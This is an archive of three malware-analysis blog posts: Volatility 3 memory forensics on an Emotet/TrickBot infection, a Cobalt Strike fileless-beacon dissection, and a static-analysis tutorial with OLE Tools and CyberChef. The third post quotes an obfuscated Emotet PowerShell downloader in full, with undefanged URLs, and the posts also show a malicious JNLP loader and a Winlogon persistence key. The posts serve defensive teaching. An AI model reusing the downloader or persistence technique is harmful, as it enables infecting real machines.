Category: Malware Analysis

Malware Analysis: Memory Forensics with Volatility 3

November 10, 2020 / Paul1

Intro

In this post, we’re going to take a look at Volatility 3, the newest version of the industries most popular memory forensics tool (within the open-source community at least).

We have a memory dump from an infected host that we’re going to look at and compare how the newest version of the tool performs as opposed to volatility 2. Let’s get started!

Install Volatility

Firstly we need to install a couple of dependencies, Python3 and Pefile. I’ve installed Python 3.8.6 from here.

When installing Python, make sure you tick the box “Add Python 3.8 to PATH” if you do not want to add the PATH manually.

Follow the default instructions to complete the installation.

Next, we need to install PEFile. I installed PEFile using pip.

pip install pefile

I installed version 2019.4.18 which you can find here.

These are the only two “required” dependencies that volatility requires, so we can now move on to install volatility.

I used git to download volatility, you can download git from here if you do not already have it installed. Once installed, launch Git Bash and run the command

git clone https://github.com/volatilityfoundation/volatility3.git

The package should be cloned into a folder called volatility 3, which by default will be located in your user folder. So in my case, it’s
C:\Users\paul\volatility3

We can now check if volatility has been installed properly by navigating to our volatility3 folder in CMD and running the command.

python vol.py -h

If all has gone right, we should see an output like the following:

This means that we’re now ready to use volatility to analyse our memory dump.

Using Volatility

Anyone who like myself is used to using Volatility 2 will notice that there are immediately some obvious changes with Volatility 3. Firstly, profiles are gone so you no longer have to scan a memory dump to find out which OS profile it’s compatible with. YAY 🙂

The way in which plugins are called in the command line is also slightly different. For example, if we want to run the plugin pslist to display the running processes in a memory image, we would do so by specifying the plugin name windows.pslist.PsList

Let’s give that a try now!

Top Tip: It’s good practice to record the output of volatility into txt files. That way we can easily go back and read through the results instead of having to try and read everything via the command line. I’ve created a new folder called evidence, and the results from each plugin run will be written to txt files in there.

To run the pslist plugin we’re going to run the following command:

C:\Users\paul\volatility3>python vol.py -f C:\Users\paul\Documents\memdump.mem windows.pslist.PsList > C:\Users\paul\Documents\Evidence\pslist.txt

Let’s break this command down to understand what it’s doing. Firstly, we’re telling Python to run our volatility script called vol.py. Then we’re using the -f flag to specify the location of our memory dump file. Next, we’re specifying the name of the plugin we want to run, and finally, we’re using the > flag to say that we want the results to be written out to a txt file called pslist which will be written to our evidence folder.

This is the basic command line format that we’re going to need to use for most plugins. Let’s go ahead and run some of the core plugins to gather some basic information. We’re going to run:

pslist – gives us a list of running processes.
pstree – gives us the same information as pslist, however, displays the output in a process tree so we can see child and parent process relationships.
netscan – gives us open network connections.

Processes

If we look at the output from running pslist below, there are a couple of processes that catch my eye, firstly Microsoft Word. As we know, Microsoft Office applications like Word and Excel are commonly used to distribute malware usually by using a malicious macro or embedded file. The Emotet campaign is particularly well known for using these methods.

The other application that catches my eye is fphc.exe. This is not an application that I am familiar with and does not look to be a Windows application. Basically, it looks weird.

PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime File output

1100 720 svchost.exe 0x85854dd362c0 23 - 0 False 2020-10-15 12:53:55.000000 N/A Disabled
1140 720 svchost.exe 0x85854ba842c0 2 - 0 False 2020-10-15 12:53:55.000000 N/A Disabled
1180 720 svchost.exe 0x85854ba90300 3 - 0 False 2020-10-15 12:53:55.000000 N/A Disabled
1188 720 svchost.exe 0x85854f8020c0 2 - 0 False 2020-10-15 12:53:55.000000 N/A Disabled
1196 720 svchost.exe 0x85854f805300 3 - 0 False 2020-10-15 12:53:55.000000 N/A Disabled
1320 720 svchost.exe 0x858547e3c240 5 - 0 False 2020-10-15 12:53:55.000000 N/A Disabled
1376 720 svchost.exe 0x85854faa0240 5 - 0 False 2020-10-15 12:53:55.000000 N/A Disabled
8048 968 UserOOBEBroker 0x85854bd31080 3 - 1 False 2020-10-15 13:05:55.000000 N/A Disabled
7328 720 svchost.exe 0x85854f707080 4 - 0 False 2020-10-15 13:12:01.000000 N/A Disabled
5732 968 WinStore.App.e 0x858547ec2080 11 - 1 False 2020-10-15 13:12:47.000000 N/A Disabled
4288 968 RuntimeBroker. 0x85854dce9080 1 - 1 False 2020-10-15 13:12:47.000000 N/A Disabled
8400 968 dllhost.exe 0x8585506ed080 5 - 1 False 2020-10-15 13:12:53.000000 N/A Disabled
4372 968 SystemSettings 0x8585506ea080 19 - 1 False 2020-10-15 13:13:17.000000 N/A Disabled
6140 720 svchost.exe 0x85854e9430c0 2 - 0 False 2020-10-15 13:15:14.000000 N/A Disabled
8532 2176 WINWORD.EXE 0x85854b48e080 16 - 1 True 2020-10-15 13:24:51.000000 N/A Disabled
8340 2176 Taskmgr.exe 0x85854b23b080 15 - 1 False 2020-10-15 13:26:00.000000 N/A Disabled
7432 5668 fphc.exe 0x85854b659080 4 - 1 True 2020-10-15 13:26:03.000000 N/A Disabled
6880 1884 chrome.exe 0x85854fadb080 11 - 1 False 2020-10-15 13:37:20.000000 N/A Disabled
5844 720 svchost.exe 0x858551224080 5 - 0 False 2020-10-15 13:38:02.000000 N/A Disabled
6932 968 smartscreen.ex 0x85854e241080 10 - 1 False 2020-10-15 13:38:02.000000 N/A Disabled
7572 6104 wermgr.exe 0x85854e393080 4 - 1 False 2020-10-15 13:38:36.000000 N/A Disabled
5268 2348 audiodg.exe 0x85854c4b1080 8 - 0 False 2020-10-15 13:38:53.000000 N/A Disabled
8348 2176 FTK Imager.exe 0x85854d191080 22 - 1 True 2020-10-15 13:38:55.000000 N/A Disabled
548 720 svchost.exe 0x8585512bb080 6 - 0 False 2020-10-15 13:38:55.000000 N/A Disabled

Running pstree does not give us anything else of interest. WinWord.exe has a parent of explorer.exe which is to be expected. While our other application of interest, fphc.exe has a Parent Process ID (PPID) of 5668. However, there is no application that has this PID in the recorded pslist output. This likely means that our fphc.exe is an orphan process.

C:\Users\paul\volatility3>python vol.py -f C:\Users\paul\Documents\memdump.mem windows.pstree.PsTree > C:\Users\paul\Documents\Evidence\pstree.txt

Network Connections

Now let’s take a look at network connections by running netscan.

vol.py -f C:\Users\paul\Documents\memdump.mem windows.netscan.NetScan > C:\Users\paul\Documents\Evidence\netscan.txt

We can perform basic OSINT on the IPs returned below using tools like VirusTotal. Many of the IP addresses appear to belong to Microsoft, specifically Azure.

Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner Created
0x858546369010 TCPv4 192.168.44.130 51793 52.109.76.78 443 CLOSED - - N/A
0x8585467aa2c0 TCPv4 192.168.44.130 139 0.0.0.0 0 LISTENING 4 System 2020-10-15 13:24:48.000000
0x858547334d70 TCPv4 192.168.88.128 139 0.0.0.0 0 LISTENING 4 System 2020-10-15 12:53:57.000000
0x8585473a6830 TCPv4 0.0.0.0 49669 0.0.0.0 0 LISTENING 2856 spoolsv.exe 2020-10-15 12:53:56.000000
0x8585473a7160 TCPv4 0.0.0.0 49668 0.0.0.0 0 LISTENING 2188 svchost.exe 2020-10-15 12:53:56.000000
0x8585473a72b0 TCPv4 0.0.0.0 49668 0.0.0.0 0 LISTENING 2188 svchost.exe 2020-10-15 12:53:56.000000
0x858547e17270 TCPv4 192.168.44.130 51894 87.237.22.163 443 CLOSE_WAIT - - N/A
0x85854b936ba0 TCPv4 192.168.44.130 51899 52.114.132.91 443 ESTABLISHED - - N/A
0x85854bb56010 TCPv4 192.168.44.130 51895 13.107.3.254 443 ESTABLISHED - - N/A
0x85854c16d960 TCPv4 192.168.44.130 51891 40.67.251.132 443 ESTABLISHED - - N/A
0x85854c378460 TCPv4 192.168.44.130 51901 62.108.35.36 443 SYN_SENT - - N/A
0x85854c3b3010 TCPv4 192.168.44.130 51900 185.99.2.123 443 CLOSED - - N/A
0x85854d0cfa40 TCPv4 192.168.44.130 51893 13.107.4.254 443 ESTABLISHED - - N/A
0x85854d3b4280 TCPv4 192.168.44.130 51831 54.183.140.32 443 ESTABLISHED - - N/A
0x85854d5ac010 TCPv4 192.168.44.130 51896 204.79.197.222 443 ESTABLISHED - - N/A
0x85854e3a6050 TCPv4 192.168.44.130 51898 84.53.156.184 80 ESTABLISHED - - N/A
0x85854fef1010 TCPv4 192.168.44.130 7680 192.168.44.1 57428 CLOSED - - N/A
0x8585500ada70 TCPv4 192.168.44.130 51886 172.217.20.130 443 ESTABLISHED - - N/A
0x8585506e98a0 TCPv4 192.168.44.130 51781 40.67.251.132 443 ESTABLISHED - - N/A
0x8585508b6230 TCPv4 192.168.44.130 51890 204.79.197.200 443 ESTABLISHED - - N/A

When searching on the Microsft IP addresses, none of them returns any “detection” hits. However, if we look in the “relations” tabs and look at communicating files, we can see many hits on malicious word documents that have called out to some of the IPs we’ve seen. If we draw a threat graph, like the one below, we can see an example of a malicious document that has been associated with the Microsoft IP 52.114.132.91.

It can often be difficult to determine if connections to cloud services like Azure and AWS are malicious or not, due to the fact that IP addresses are shared and reused by different users. It’s a good place for malware authors to hide their attack infrastructure and attempt to blend in with legitimate traffic.

Aside from the Microsoft IP addresses, there were also two other addresses from netscan which are of significant interest.

62.108.35.36
185.99.2.123

Both of these addresses returned detection hits on VirusTotal. Additional OSINT links both of these IP to TrickBot infrastructure. TrickBot is a well-known banking trojan that has been around for several years now. It is commonly distributed via Emotet.

Digging Deeper

We’ve seen a few things now which make us suspect that TrickBot malware has been delivered onto the host via an Emotet. Now we need to try and confirm that this is what has occurred.

Firstly let’s look to see if PowerShell was used by a Macro to download malware as can commonly be the case. We can use the command cmdline to list process command line arguments.

vol.py -f C:\Users\paul\Documents\memdump.mem windows.cmdline.windows.cmdline.CmdLine> C:\Users\paul\Documents\Evidence\cmdline.txt

Unfortunately, there were no interesting PowerShell commands in the results. In Volatility 2, we had the option to use the plugins “cmdscan” and “console” as well as the third-party plugins which try to locate interesting Powershell activity in memory. We’re a little more limited with Volatility 3 as we only have the “cmdline” command.

However, cmdline still did return some useful pieces of informatiuon.

We have the name of the Word Document that was opened by the user:

8532 WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Documents\Detalii-123393.doc\Detalii-123393.doc" /o ""

And we also have the path of the unusal executable that we saw:

7432 fphc.exe "C:\Users\Admin\AppData\Local\fltLib\fphc.exe"

In volatility 2, we were able to use the “dumpfiles” plugin to dump files from memory. However, that seems to no longer be an option in Volatility 3. We can, however, dump a running process by using the pslist command with a dump flag. Using the command below we can dump fphc.exe to analyse.

python vol.py -f C:\Users\paul\Documents\memdump.mem windows.pslist.PsList --pid 7432 --dump

We still need to obtain the Word Document, but this is going to be difficult without being able to dump individual files. What we could do is dump the WinWord.exe process and try to carve the file out. This is a lot of effort though for what is likely to be commodity malware. So instead we’re going to cheat and just pull the file directory from the host now that we know the path that it’s located in. You could also do OSINT on the filename and try to find a copy on VT or AnyRun to download.

Emotet Analysis

As expected, the document contained a malicious VBS macro, which launches PowerShell with a base64 encoded command. I used CyberChef to decode the text from Base64 and also decoded the text from UTF-16LE (1200). Below we have the obfuscated PowerShell command:

I performed some basic deobfuscation of the code, which I’m not going to go into in this post. I have written how to deobfuscate Emotet Powershell in a previous post here.

Below is a rough deobfuscation of the PowerShell. We can see the script tries to download the file I3d47K.exe into the user’s directory from one of the URLs contained in the site list. A check of the file size of the downloaded file is performed to ensure that the file was properly downloaded, and if it passes that check, the file is then executed.

It’s interesting that we have not seen any sign of the executable I3d47k.exe within any of our Volatility outputs. It’s likely that this executable either drops fphc.exe or is renamed to this.

Executable Analysis

OSINT on our dumped application fphc.exe identifies it as Emotet, as expected. Dynamic analysis on the executable however has shown that it fails to execute properly. We see werfault.exe executed as a result of the application crash. It is possible for malware like TrickBot and Emotet to inject into WerFault. However, when this happens the command line for the process is usually empty, but in our case, we have flags being parsed. Additionally, we’re presented with a crash error, and there is no other typical Emotet activity.

There are a few reasons as to why the malware is not executing properly and the most likely is due to an error when dumping it from memory.

Review of Volatility 3

We’ve been able to build a rough picture of what has occurred on the host, but our analysis is not as complete as I would like. In forensics, you aim to build as clear a picture as possible, and in this case, there are definitely some gaps in our timeline of what’s happened. There was some information missing from our evidence collected with Volatility, but this can often occur in memory forensics as the data we’re dealing with is…..volatile.

The lack of plugins for Vol 3 is something that makes me still favour Vol 2. This will change over time though. As the tool is adopted more widespread, additional plugins will be developed. The Volatility Foundation’s annual plugin competition will from this year be focused on Volatility 3, and with official support for Volatility 2 ending in 2021, it’s only a matter of time before more users move to the newer version and the tool improves.

The two main things that Volatility 3 has going for it is its speed (it’s a huge improvement on Vol 2) and that it is now easier for developers to use the codebase to develop new plugins. The move away from OS profiles is also a welcome addition, as is it’s support for a larger variety of OS versions.

Volatility 3 Plugins

Here’s a list of the different Volatility 3 Plugins for Windows. Don’t forget there are also Mac and Linux plugins too.

windows.bigpools.BigPools,
windows.cmdline.CmdLine,
windows.dlllist.DllList,
windows.driverirp.DriverIrp,
windows.driverscan.DriverScan,
windows.envars.Envars,
windows.filescan.FileScan,
windows.getservicesids.GetServiceSIDs,
windows.getsids.GetSIDs,
windows.handles.Handles,
windows.info.Info,
windows.malfind.Malfind,
windows.memmap.Memmap,
windows.modscan.ModScan,
windows.modules.Modules,
windows.mutantscan.MutantScan,
windows.netscan.NetScan,
windows.poolscanner.PoolScanner,
windows.privileges.Privs,
windows.pslist.PsList,
windows.psscan.PsScan,
windows.pstree.PsTree,
windows.registry.certificates.Certificates,
windows.registry.hivelist.HiveList,
windows.registry.hivescan.HiveScan,
windows.registry.printkey.PrintKey,
windows.registry.userassist.UserAssist,
windows.ssdt.SSDT,
windows.statistics.Statistics,
windows.strings.Strings,
windows.symlinkscan.SymlinkScan,
windows.vadinfo.VadInfo,
windows.verinfo.VerInfo,
windows.virtmap.VirtMap

Extracted IOCs

hxxp://riandutra[.]com/img/YX1/
hxxp://swimsecure[.]com/vsim-henry/r/
hxxp://guarany[.]net/zefiro/ZO
hxxp://losgalpones[.]com/wp-admin/T
hxxp://qualitychildcarepreschool[.]com/0Bq0iCR6gx/oq
hxxp://businessexitnow[.]com/old-wp-includes/1yr/
hxxp://brownshotelgroup[.]com/2r

BFF959FC9504DCF7420C95D0F804334E366A5F54B41CD4C1B3D1FC09256EC459

Analysing Fileless Malware: Cobalt Strike Beacon

July 22, 2020 / Paul1

Today we’re going to look at a malware campaign made up of multiple stages, with the end goal of establishing a C2 connection to a Cobalt Strike server. There are a few cool techniques that this campaign uses that we’re going to look at. I happened to come across the initial first stage phishing attachment while browsing for samples on VirusTotal and found it interesting as you do not commonly see JNLP attachments used for phishing. So, let’s get started.

Stage 1: Attachment Analysis

A JNLP file is a java web file, which when clicked, the application javaws.exe will attempt to load and execute the file. Javaws.exe is an application that is part of the Java Runtime Environment and is used to give internet functionality to java applications. JNLP files can be used to allow for applications hosted on a remote server to be launched locally. It is worth noting that to be susceptible to phishing via a JNLP the user will have to have java installed on their machine.

They are generally quite simple and are not difficult to analyse. You can easily view the content of a JNLP file by changing the extension to XML and loading the file in a text editor like notepad++. As shown in the XML code below, we can see that this JNLP file will be used to load and execute the JAR file FedEx_Delivery_invoice.jar from the domain hxxp://fedex-tracking.fun

<?xml version="1.0"encoding="utf-8"?>
<jnlpspec="1.0+"codebase="http://fedex-tracking.fun"
href="FedEx_Delivery_invoice.jnlp">
<information>
	<title>Federal Express Service</title>
	<vendor>Federal Express</vendor>
	<homepagehref="www.fedex.com"/>
	<description>Federal Express documents online.</description>
		</information>
	<security>
		<all-permissions/>
	</security>
	<resources>
		<j2seversion="1.6+"/>
		<jarhref="FedEx_Delivery_invoice.jar"/>
	</resources>
		<application-descmain-class="FedEx_Service">
	</application-desc>
</jnlp>

As we know the name and location of the 2nd stage payload, we can try and download it. The domain hxxp://fedex-tracking.fun is still up, so we can download the FedEx_Delivery_invoice.jar file from here. Once we have the file, we will analyse it with JD-GUI. JD-GUI is a simple tool that allows you to decompile and view the code of JAR files. (I copied the code into Atom after opening with JD-GUI as I like the syntax highlighting there.)

Java phishing attachment — `FedEx_Delivery_invoice.jar`

As the code snippet above shows, the FedEx_Delivery_invoice.jarfile is going to attempt to download the file fedex912.exe from the domainhxxp://fedex-tracking[.]press. The executable will be placed into the Windows temp directory, where it will then be executed. The JAR file will also load the legitimate FedEx tracking website which is most likely to try and reassure the user that the file they have downloaded is a legitimate one.

Executable Analysis: Stage 2

Unfortunately, at the time of writing, the domain hosting the fedex912.exe is no longer active meaning we cannot download the file from here. However, there is a sample on Virus Total that we can download. I ran the executable in my analysis environment with process monitor and regshot and there were a few things of note. Firstly, the file fedex912.exe drops a new file called gennt.exe, which is basically just a copy of itself, into the directory C:\ProgramData\9ea94915b24a4616f72c\. The reason for placing the file here is that it is a hidden directory and not normally visible to the user. It then deletes the fedex912.exe file from the filesystem.

I used RegShot to take a before and after snapshot of the registry to compare the two after running the executable. The entry below shows the malware’s persistence mechanism. Adding the gennt.exe executable to the registry key here ensures that the malware is started every time Windows is restarted.

HKU\S-1-5-21-1245055219-2462972176-1415829347-1001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell:"explorer.exe, "C:\ProgramData\9ea94915b24a4616f72c\gennt.exe""

After doing some additional research on the executable, I found that it is supposed to launch cmd which then launches PowerShell. However, that did not occur on my test machine when running the executable. There could be a few reasons for this, one could be that the malware has anti-analysis capabilities and knows when it is being run in a standard VM. As my lab is not currently set up to counter VM aware malware, we are going to cheat slightly and use data from a sample that was run on AnyRun.

On the AnyRun analysis, we can see that cmd did launch "C:\Windows\System32\cmd.exe" /c powershell -nop -w hidden -encodedcommand” where a Base64 command was parsed to PowerShell. AnyRun records the command line, so let’s have a look into this. You can see the AnyRun anlysis here.

PowerShell Analysis: Stage 3

As is usually the case, the command line was encoded with Base64 so I used CyberChef to decode the text. Often when you decode Base64 text there will be a “.” between every single character. This is annoying but can easily be fixed by also adding a decode text operator to the recipe and setting the value to UTF-16LE(1200).

We can see that the command is further encoded with Base64, and if we scroll further down to the bottom, we can also see that it has been compressed with GunZip.

I used CyberChef to once again decode the Base64 and to decompress the GunZip Compression.

After running the above CyberChef recipe there was finally some human-readable text. There’s a lot of interesting stuff happening here. So we essentially have three parts to the PowerShell script, there’s the first chunk with a couple of functions. The middle section with a Base64 Encoded block and a “for” statement. And then there’s the final section with some defined variables and an “if” statement. We’ll tackle the Base64 Encoded block first and look at the rest of the PowerShell script a little later.

NOTE: I had to split the code screenshots into two, as there is too much code to fit into one image. I’d much rather just post the raw code, rather than screenshots, but that would result in my site being flagged for hosting malware 😂. You can download the code samples at the bottom of this post.

Powershell memory injection cobalt strike beacon — Powershell Script part 1

One thing that immediately stands out is a “for” statement underneath the Base64 encoded text in the “Powershell Script part 2” image.

The “for” statement suggests that the Base64 block is encrypted with xor with a key of 35. We can also use CyberChef to decrypt this.

Cobalt Strike Shellcode — Decoded ShellCode

As shown in the above output, a lot of it is not human-readable but we can see what looks like an IP address and information about a User-Agent. The rest of the code that we cannot understand looks to be shellcode. Let us try and do some basic shellcode analysis to see what is going on here.

I used CyberChef to convert the code above into Hex. This is straight forward to do, and only requires an additional two operators to our current CyberChef recipe. One operator converts our code into Hex, and the other is a find and replace to remove the spacing.

Once we have our Hex code, you can save the output as a .dat file. Next, I used the tool scdbg to analyse the shellcode. This tool emulates basic Windows behaviour and can intercept what Windows API calls the shellcode is requesting by emulating the Windows API environment.

After parsing the .dat file to the tool, the output below is given. The shellcode loads the wininet API library and imports two functions which are used to establish an internet connection. We can see that the connection is established to the IP address we saw earlier over port 8080.

scdbg output from cobalt strike shell code.

As the shellcode does not import any other functions, it would appear that this is a simple beacon program that establishes a remote connection to the malicious IP. Additional commands are likely to be sent from the C2 server. The C2 IP address is a Ukrainian address, with ports 80, 8080 and 22 open.

Injecting into memory with PowerShell

So we’ve looked at our Base64 encoded block and determined that it’s some simple shellcode which is used to establish a connection to the C2 server. The one question we still have to answer is how is the shellcode executed? From looking at the rest of the PowerShell script, we can see that the shellcode is injected directly into memory. Below gives a basic summary of how it does this.

First the script imports two functions GetModuleHandle and GetProcAddress from system.dll, and it does this by importing them directly from memory, so it does not load the DLL from disk. These are both Windows UnsafeNativeMethods. This method of loading DLLs in this way is called Run-Time Dynamic Linking, and you can read more on it here.
These functions are then used to allocate space in memory for the function “var_va” which is the function which contains our shellcode.
Then the script decodes and decrypts the shellcode, in the same way that we did earlier with CyberChef
Next, the VirtualAlloc writes the shellcode function to space in memory for the calling process. In this case, that would be PowerShell. So, the shellcode is essentially injected into the memory space used by PowerShell.
And finally, the shellcode is then executed, where it establishes a C2 channel with the Cobalt Strike server.

What is Coablt Strike?

AnyRun attributed the PowerShell activity to Cobalt Strike and the PowerShell script and the shellcode that we analysed matches the profile and behaviour of a Cobalt Strike Beacon. Cobalt Strike is a tool used for adversary simulations and red team operations. A key feature of the tool is being able to generate malware payloads and C2 channels. The Cobalt Strike Beacon that we saw is fileless, meaning that the PowerShell script injects the Beacon straight into memory and never touches disk. Once a Cobalt Strike Beacon is present on a device, the attacker has significant capability to perform additional actions including stealing tokens and credentials for lateral movement.

Conclusion

So that brings this post to an end. I hope you found the information here useful. It’s a simple example of fileless malware and I think a good introduction for those who are maybe not very familiar with the area. It’s certainly a topic that I’m interested and something I want to research further, so expect more posts on this in the future!

IOCs

First stage:

FedEx_Delivery_invoice.jnlp
- SHA256: 7d187c34512571b45ffc2285414425b2e8963a914765582f9ea76ecc2791b45e
hxxp://fedex-tracking[.]fun

Second stage:

FedEx_Delivery_invoice.jar
- SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
hxxp://fedex-tracking[.]press

Third stage:

fedex912.exe / gennt.exe
- SHA256: ba5fa7cc1a918b866354f4a5d9d92ceb3965ff81eb96e1608f190bccf12d38e6
Run Location:
- %PROGRAMDATA%\9ea94915b24a4616f72c\gennt.exe
Persistence Registry Key:
- HKU\S-1-5-21-1245055219-2462972176-14158293471001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell: “explorer.exe, “C:\ProgramData\9ea94915b24a4616f72c\gennt.exe

C2 Stage:

176[.]103[.]56[.]89

Resources

Download Code Samples (the password is Infected)
AnyRun Analysis
Using Run-Time Dynamic Linking
scdbg Download
CyberChef
Cobalt Strike Beacon

Static Malware Analysis with OLE Tools and CyberChef

September 10, 2019 / Paul

Static analysis is the process of analysing malicious code, whether it be a script or a program, to determine what action the code is trying to execute. Unlike dynamic analysis, static analysis does not involve executing or running the code.

There are loads of open source tools out there which can be used to perform static analysis, today we are going to be looking OLE Tools, and CyberChef.

OLE Tools is a Python package used to analyse Microsoft Office documents. Malicious VBA scripts within Macros embedded in Office documents is a common malware distribution technique, so OLE Tools is a very useful tool to have in your toolkit.

CyberChef is a web application created by GCHQ, it is often referred to as the swiss army knife tool of cyber, and can be used for encryption, encoding, compression and data analysis, it’s a must-have tool in any toolkit.

NOTE: It’s worth noting that this guide is meant to demonstrate the steps to reverse common obfuscation techniques. You may encounter different obfuscation techniques depending on the document sample you have, however, the same logic can still be applied.

Getting Setup

If you haven’t already, install pip.

sudo apt install python3-pip

Then install oletools.

sudo -H pip install -U oletools

Find a malicious office document, there are a number of sources where you can download these files, see the resources section at the bottom of this page for a list of sample websites.

I would suggest cape sandbox as it does not require any signup and allows you to get your hands on a sample quickly, make sure you select a sample with the file type “doc”.

Using oletools

Once you’ve got everything prepared, navigate to the directory where your downloaded file lives. Run the first command to obtain meta data around the file. (Replace the text “filename” with the name of the malicious file that you downloaded.)

olemeta "filename"

Running this command is going to return some useful meta data around the document.

Output from running “olemeta” on our malicious document

It is macros embeded in the document that we are interested in, so next lets see if the file contains any macros. Run the oleid command.

oleid "filename"

By running this command we can see that the document does contain a VBA Macro. This is what we’re interested in.

Output from running “oleid” on our malicious document

Lets try to extract those macros out of the document, run the olevba command.

olevba "filename"

The table shown in the image below will be displayed at the bottom of your terminal session, it contains an overview of what was found in the macro. The information we are interested in the most is the Base64 encoded strings. Encoding with Base64 is a common technique used by malware authors to try and obfuscate their code and make it more difficult for anti-virus to detect.

Output from running “olevba” command on our malicious document

If you scroll up the page you will see all of the data pulled from the macro, we want to find the Base64 encoded text. You should be able to easily recongise Base64 encoding, in this case it’s the big block of text.

Visual basic code from document macro encoded in Base64

Lets copy the text and take it over to CyberChef.

Using CyberChef

The first thing to do is to take the base64 encoded text and decode it, we do this by dragging the “from Base64” operator into the recipe column. Paste the encoded text block into the input box.

Tip: If you’re ever unsure on the format of a piece of text or what it has been encoded with, you can use the magic operator to find out!

You should immediately be able to see that the output is now more understandable, however, the author has taken a number of steps to further obfuscate the code and make it more difficult for us to analyse. Adding punctuation between characters is a common obfuscation technique used by malware authors, as displayed in our code block below.

$.c.6.9.5.3.7.2.4.=.'.I.4.4.2.9.8.7.7.'.;.$.f.1.6.2.1.1.0.0. .=. .'.6.5.6.'.;.$.W.8._.8.6.7.=.'.U.8.3.7.3.6.0.6.'.;.$.N.1.6._.7.2.3.=.$.e.n.v.:.u.s.e.r.p.r.o.f.i.l.e.+.'.\.'.+.$.f.1.6.2.1.1.0.0.+.'...e.x.e.'.;.$.P.6.9.8.0.7.=.'.P.5.5.6.4.3.0.7.'.;.$.S.3.2._.7.2.=...(.'.n.e.w.-.o.b.j.'.+.'.e.'.+.'.c.t.'.). .n.e.t...W.`.e.B.`.C.L.i.E.N.T.;.$.V.8.3.8.4.6.=.'.h.t.t.p.:././.e.a.d.h.m...c.o.m./.p.u.b.l.i.c._.h.t.m.l./.F.J.C.D.S.z.U.f.m./.@.h.t.t.p.:././.w.w.w...c.a.t.-.s.c.h.o.o.l...r.u./.u.s./.7.1.0.y.f.0.n._.u.a.7.x.4.j.-.7.4.7.9.9.9.4./.@.h.t.t.p.:././.w.w.w...a.h.o.r.a.s.e.g.u.r.o...d.m.c.i.n.t.l...c.o.m./.w.p.-.a.d.m.i.n./.V.y.z.f.D.U.J.D./.@.h.t.t.p.:././.w.w.w...c.a.n.d.a.s.y.a.p.i...c.o.m./.c.g.i.-.b.i.n./.k.b.d.3.o.6.a.i.k._.n.6.g.t.d.b.v.-.5.5./.@.h.t.t.p.:././.d.o.m.u.s.w.e.a.l.t.h...k.a.y.a.k.o.d.e.v...c.o.m./.w.p.-.c.o.n.t.e.n.t./.u.p.l.o.a.d.s./.r.L.D.c.C.y.A.u.b.M./.'...s.P.L.i.t.(.'.@.'.).;.$.s.8.8.1.3.7.2._.=.'.E.8.0.3._.3.4._.'.;.f.o.r.e.a.c.h.(.$.o.5.6.2._.1. .i.n. .$.V.8.3.8.4.6.).{.t.r.y.{.$.S.3.2._.7.2...d.o.W.N.l.O.a.D.F.I.l.E.(.$.o.5.6.2._.1.,. .$.N.1.6._.7.2.3.).;.$.s.5.5.9.4.6.4.0.=.'.j.7.5.1.7.0.'.;.I.f. .(.(.&.(.'.G.'.+.'.e.t.'.+.'.-.I.t.e.m.'.). .$.N.1.6._.7.2.3.)...l.E.n.g.t.h. .-.g.e. .3.1.8.3.5.). .{.&.(.'.I.n.v.'.+.'.o.k.e.'.+.'.-.I.t.e.m.'.). .$.N.1.6._.7.2.3.;.$.K.7.0.7.6.8.=.'.J.7.1.0._.1.5.'.;.b.r.e.a.k.;.$.Q._.8.8.3.3.7.=.'.Y.4.0.7.1.8.'.}.}.c.a.t.c.h.{.}.}.$.Q.2._.9.0.2.8.1.=.'.U.2.9.6.1.1.'.

We’re going to take our decoded code block, and use other features in CyberChef to reverse the obfuscation and make the code more understandable. Firstly we’re going to remove the full stops between each character. Keep the “from base64” operator in your recipe, drag the Regular expression operator in as well, keep the settings at their defaults, this should remove the false stops.

Output of code with from base64 and Regular expression operators

That already looks a lot better, you should be able to see some useful information like URLs in the output, there is still some obfuscation via punctuation in the code though, so let’s remove them.

We’re going to start a new CyberChef recipe now because sometimes using lots of operators together can cause CyberChef to freak out a little. So copy the output to your clipboard, and start a new recipe.

In your new recipe paste the copied code into the input, and add the following operators.

To Lower Case
Find and Replace, x4 with the following settings.
- All variables set to “simple string”
- With the values
  - `
  - –
  - +
  - ‘
- The “replace” value should be blank for each. This replaces the punctuation with nothing, effectively removing it from the code.
Generic Code Beautify (to tidy the code up a little).

Code output after full reciepe is applied.

Hopefully after all of that you should end up with something a lot more readable. We are not done there however, we’re going to take the output and perfrom some manual editing to get a better idea of what the code is doing.

Editing with Atom

Atom is a text/source code editor, it’s my go-to choice for working with any code within Linux, see the resources section for a guide on how to install atom.

First things first, we need to install a Visual Basic package in Atom to highlight syntax for us. Do this by going to the top toolbar in Atom, click on Packages > Settings View > Install Packages.
In the search bar search for VBA, and install one of the syntax highlighting packages for Visual Basic. Copy the most recent output of CyberChef, and paste it into Atom, make sure to save the file with the extension .vba so Atom can perform syntax highlighting.

VBA script with syntax highlighting in Atom.

There is still a fair amount of junk incorporated into this visual basic code. The author has defined a lot of the important components as variables, with names that give us no indication as to what they do. He has also included some junk variables as well to bulk to the code, let’s remove those first.

Defined variables which only appear once in the code, and appear to have no meaningful value are junk variables, those are the ones we want to remove. Below shows some of the junk variables from the code, note how they all fit a similar pattern. Removing these is not overall necessary, but it does help us tidy up the code a little.

$c6953724 = i4429877;
$w8_867 = u8373606
$p69807=p5564307
$s5594640=j75170
$q2_90281=u29611

The next thing we want to do is give the important variables a meaningful name. We do this by copying the name of a variable, let’s take $v83846 as an example, if we do a find and replace (control f) we can see this variable is called twice. Focus on the image below, this shows the two occurrences of the variable.

Firstly when the variable $v83846 is first defined we see a bunch of URLs bundled together separated by the “@” symbol, and at the end of the statement, there is a split on the “@” symbol. The author has bundled the URLs together and used the split function so the compiler knows to treat each URL as an individual. We can safely assume that the variable $v83846 is a list of websites, so we can rename the variable to something more useful like “sitelist“.

Highlighted variable renamed to sitelist.

We then see a foreach statement, which again refers to our previously defined variable, followed by a try statement, where it appears it is trying to download a file. It is clear the code is trying to download a file, and it has a number of sites which it is going to try and download these files from.

If we rename all of the useful variables, we should end up with something as shown below. This gives us a much better picture of what’s going on.

Code after useful variables renamed and tidying.

